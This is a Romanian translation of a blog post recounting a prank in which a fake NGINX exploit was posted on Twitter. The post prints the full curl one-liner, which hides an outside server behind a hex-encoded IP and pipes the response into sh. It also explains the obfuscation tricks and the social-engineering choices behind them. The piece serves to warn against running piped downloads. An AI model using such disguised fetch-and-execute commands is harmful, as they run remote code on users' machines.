Succesul experimentului social cu exploit fals pentru nginx

Nota traducătorului.: Autor Notă originală, publicată pe 1 iunie, a decis să efectueze un experiment în rândul celor interesați de securitatea informațională. Pentru aceasta, a pregătit un exploit fals pentru o vulnerabilitate necunoscută într-un server web și l-a postat pe Twitter. Presupunerile sale - de a fi imediat demascat de specialiști, care vor observa dezinformarea evidentă în cod - nu s-au confirmat... Au depășit toate așteptările, chiar în sens invers: tweet-ul a primit un suport uriaș din partea numeroșilor oameni care nu s-au deranjat să verifice conținutul acestuia.

TL;DR: cu niciun chip nu folosiți pipelining-ul fișierelor în sh sau bash. Este o modalitate excelentă de a-ți pierde controlul asupra calculatorului.

Vreau să împărtășesc cu voi o mică poveste despre un PoC-exploit glumeț, care a fost creat pe 31 mai. Acesta a apărut rapid ca răspuns la vestea de la Alisa Esage Șevcenko, membru Zero Day Initiative (ZDI), despre faptul că în curând va fi dezvăluită informația despre o vulnerabilitate în NGINX, care duce la RCE (execuția de cod de la distanță). Deoarece NGINX stă la baza multor site-uri web, vestea ar fi trebuit să aibă un impact de bombă. Dar din cauza întârzierilor în procesul de „dezvăluire responsabilă” a informațiilor, detaliile întâmplării nu au fost cunoscute - aceasta este procedura standard ZDI.

Tweet despre dezvăluirea unei vulnerabilități în NGINX

Terminând lucrul la o nouă tehnică de obfuscare în curl, am citat tweet-ul original și am „scurs un PoC” de lucru, constând dintr-o singură linie de cod, care pretindea că folosește vulnerabilitatea descoperită. Desigur, acesta era complet fals. Credeam că voi fi demascat imediat și că, în cel mai bun caz, voi primi câteva retweeturi (bine și atât).

Tweet cu un exploit fals

Cu toate acestea, nu am putut să-mi imaginez ce a urmat. Popularitatea tweet-ului meu a explodat. Uimitor, dar până în acest moment (15:00 MSK 1 iunie) puțini și-au dat seama că este o farsă. Mulți îl retweet-ează fără nicio verificare (nu mai vorbim de aprecierea graficii frumoase ASCII pe care o afișează).

Uitați-vă ce frumusețe!

Deși toate aceste cicluri și culori sunt remarcabile, este evident că pentru a le vedea, oamenii au executat codul pe mașinile lor. Din fericire, browserele funcționează similar, iar având în vedere că problemele legale nu mă interesează, codul ascuns pe site-ul meu nu făcea decât să efectueze apeluri echo, fără a încerca să instaleze sau să execuți orice alt cod suplimentar.

O mică deviere: netspooky, dnz, eu și ceilalți băieți din echipă Thugcrowd ne jucăm de ceva vreme cu diferite metode de obfuscare a comenzilor curl, pentru că este amuzant... și suntem geeks. netspooky și dnz au descoperit câteva metode noi care mi s-au părut extrem de promițătoare. M-am alăturat distracției și am încercat să adaug conversii IP zecimale la setul de trucuri. Se pare că IP-urile pot fi, de asemenea, convertite în format hexadecimal. Mai mult, curl și majoritatea altor instrumente NIX acceptă cu plăcere IP-urile hexadecimale! Astfel, a fost nevoie doar să creez un prompt de comandă credibil și care să arate sigur. În cele din urmă m-am oprit asupra următoarei:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Ingineria socio-electronică (S.E.E.) este mai mult decât un simplu phishing

Securitatea și familiaritatea au fost esențiale în cadrul acestui experiment. Cred că acestea au dus la succesul său. Promptul de comandă sugera clar securitate, referindu-se la „127.0.0.1” (cunoscutul localhost). Se consideră că localhost este sigur și că datele de acolo nu părăsesc niciodată computerul tău.

Familiaritatea a fost al doilea component cheie S.E.E. al experimentului. Deoarece publicul țintă era format în principal din persoane familiarizate cu conceptele de bază ale securității computerelor, a fost important să creăm un cod a cărui părți păreau familiare și obișnuite (și deci sigure). Împrumutarea elementelor din vechile concepte de exploatare și combinarea acestora într-un mod neobișnuit s-a dovedit a fi foarte reușită.

Mai jos este un detaliat descompus al comenzii de tip one-liner. Tot ce este în această listă este cosmetic, iar pentru a funcționa cu adevărat, practic nu este necesar nimic.

Ce componente sunt cu adevărat necesare? Acestea sunt -gsS, -O 0x0238f06a, |sh și serverul web. Serverul web nu conținea instrucțiuni malițioase, ci doar transmitea grafică ASCII prin comenzi echo în scriptul conținut în index.html. Când utilizatorul introducea un șir cu |sh în mijloc, index.html se încărca și se executa. Din fericire, îngrijitorii serverului web nu aveau intenții rele.

• ../../../%00 — ilustrează ieșirea din director;
• ngx_stream_module.so — calea către un modul NGINX aleatoriu;
• /bin/sh%00<'protocol:TCP' — se presupune că rulăm /bin/sh pe mașina țintă și redirecționăm ieșirea către un canal TCP;
• -O 0x0238f06a#PLToffset — ingredientul secret, completat #PLToffset, pentru a arăta ca un offset de memorie, conținând într-un fel în PLT;
• |sh; — un alt fragment important. Trebuia să redirecționăm ieșirea către sh/bash pentru a executa codul venit de la serverul web atacator, situat la 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — un fals, în care netcat face referire la /dev/tcp/localhost, pentru ca totul să pară din nou sigur. De fapt, nu face nimic și este inclus în șir pentru estetică.

Aici se încheie decriptarea unui script pe o linie și discuția despre aspectele „ingineriei socio-electronice” (phishing sofisticat).

Configurarea serverului web și măsuri de contracarare

Deoarece majoritatea dintre urmăritorii mei sunt specialiști în securitatea informațiilor/hackeri, am decis să fac serverul web puțin mai rezistent la „interesele” lor, doar pentru a le oferi ceva de făcut (și era distractiv să-l configurez). Nu am de gând să enumăr toate capcanele, deoarece experimentul este încă în desfășurare, dar iată câteva lucruri pe care serverul le face:

• Monitorizează activ încercările de distribuire pe anumite rețele sociale și introduce diverse miniaturi de previzualizare pentru a încuraja utilizatorul să acceseze linkul.
• Redirecționează Chrome/Mozilla/Safari/etc. către un videoclip promoțional Thugcrowd în loc să arate scriptul shell.
• Monitorizează SEMNELE EXPLICITE de intruziune/atac, după care începe să redirecționeze cererile către serverele NSA (ha!).
• Instalează un troian și, de asemenea, un rootkit BIOS pe toate computerele ale căror utilizatori vizitează hostul dintr-un browser obișnuit (glumă!).

O mică parte a antimateriei

În acest caz, singurul meu scop a fost să învăț despre unele capabilități Apache — în special, reguli interesante de redirecționare a cererilor — și m-am gândit: de ce nu?

Exploit NGINX (adevărat!)

Abonați-vă la @alisaesage pe Twitter și urmăriți munca extraordinară a ZDI în eliminarea unor vulnerabilități și oportunități reale de exploatare în NGINX. Munca lor m-a fascinat întotdeauna și îi sunt recunoscător Alisei pentru răbdarea demonstrată față de toate mențiunile și notificările cauzate de tweet-ul meu prostesc. Din fericire, acesta a adus și niște beneficii: a ajutat la creșterea conștientizării asupra vulnerabilităților NGINX, precum și asupra problemelor cauzate de abuzul de curl.

Sursa: habr.com